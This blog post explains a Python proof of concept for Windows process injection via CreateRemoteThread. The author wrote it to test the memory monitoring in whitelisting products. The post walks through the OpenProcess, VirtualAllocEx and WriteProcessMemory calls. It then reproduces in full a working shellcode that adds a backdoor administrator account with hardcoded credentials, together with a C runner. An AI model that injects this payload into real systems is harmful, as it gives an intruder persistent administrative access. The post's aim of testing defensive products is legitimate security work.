Code injection on Windows using Python: a simple example

Recently i had to perform some comparative tests on a couple of whitelisting solutions.

One of the crucial step of the test was the proper functioning of memory monitoring feature, useful in case of process injection: infact, when a trusted process has been started, an attacker may use it as vector for inject a malicious code.

In order to perform this check, i’ve decided to wrote a little PoC for 32bit systems dedicated to this test.

So, using Python and ctype library i’ve developed a simple script which, using CreateRemoteThread windows API, inject a simple shellcode into a trusted process.


The ctype library

ctypes is a foreign function library for Python, that provides C compatible data types, and allows calling functions in DLLs or shared libraries.

More information here


The infamous CreateRemoteThread function

I’ve already written a lot about CreateRemoteThread and the reflective DLL injection, you can refer to my previous article: What is Reflective DLL Injection and how can be detected?

In brief, reflective DLL loading refers to loading a DLL from memory rather than from disk: firstly, the library you wish to inject must be written into the address space of the target process.
Then the library must be loaded into that host process using the CreateRemoteThread function.


The PoC

For my script, i’ve started from this article from http://developers-club.com, that explains some python usage of Windows API.

And this is the result (code explanation below):

Lines 10 – 14: Those lines uses a simple wmi query in order to obtain the process id of the executable passed from command line.

Lines 18 – 46: This is the shellcode that will be injected into memory and executed

Line 49: makes a call to OpenProcess, that returns a handle into the process we are injecting shellcode into.
We’re specifically asking for all possible process rights (using the paramether 0x1F0FFF) , stating that we don’t need to inherit the handle, and specifying the process ID of the process to obtain a handle from.

Line 55: calls VirtualAllocEx, a function that allocates memory in a remote process.
It requires a handle to the process that will have memory allocated (obtained from the OpenProcess call), the size that should be allocated (shellcode length), the type of memory allocation that should be performed (0x00001000), and the memory protection that should be placed on the allocated memory range (read, write, execute, 0x40).
It returns the base address to the memory that was allocated by the function.

Line 56: calls WriteProcessMemory which writes the shellcode to the memory area within the target process.
The function receives the process handle that was obtained with OpenProcess, the base address where the function will write memory to, the shellcode, the length of the shellcode, and the value 0 which tells the function to ignore an optional output.

Line 58: Finally, this line calls CreateRemoteThread, which will create a thread within the another process.
This function call takes in a handle to the process which the shellcode is being injected into, None (states that the thread inherits a default security descriptor), 0 (defines the stack size to be the default size for that executable), the base address of the memory allocated earlier, and the final “0”s are miscellaneous parameters (more details on this MSDN page).

The script need to be called with only one parameter: the name of the process will be used for injection.

Here a brief example using notepad++.exe process:


Some thoughts about the shellcode

In this case i’ve used a simple shellcode built using the Metasploit payload generator.
Using the “windows/messagebox” payload i’ve generated an harmless shellcode that opens a messagebox.

However, the same script may be used with more “offensive oriented” payloads, like this, developed by Giuseppe D’Amore:

Add Admin User Shellcode (194 bytes) - Any Windows Version
========================================================

Title:          Add Admin User Shellcode (194 bytes) - Any Windows Version
Release date:   21/06/2014
Author:         Giuseppe D'Amore (http://it.linkedin.com/pub/giuseppe-d-amore/69/37/66b)
Size:           194 byte (NULL free)
Tested on:      Win8,Win7,WinVista,WinXP,Win2kPro,Win2k8,Win2k8R2,Win2k3
Username:       BroK3n
Password:       BroK3n

char shellcode[] = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
                   "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
                   "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
                   "\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a"
                   "\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf"
                   "\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f"
                   "\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69"
                   "\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63"
                   "\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44"
                   "\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33"
                   "\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65"
                   "\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63"
                   "\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7";


int main(int argc, char **argv){int (*f)();f = (int (*)())shellcode;(int)(*f)();}

And in this case, the result is less harmless then previous:


References and further readings

 

 

 

Comments

This site uses Akismet to reduce spam. Learn how your comment data is processed.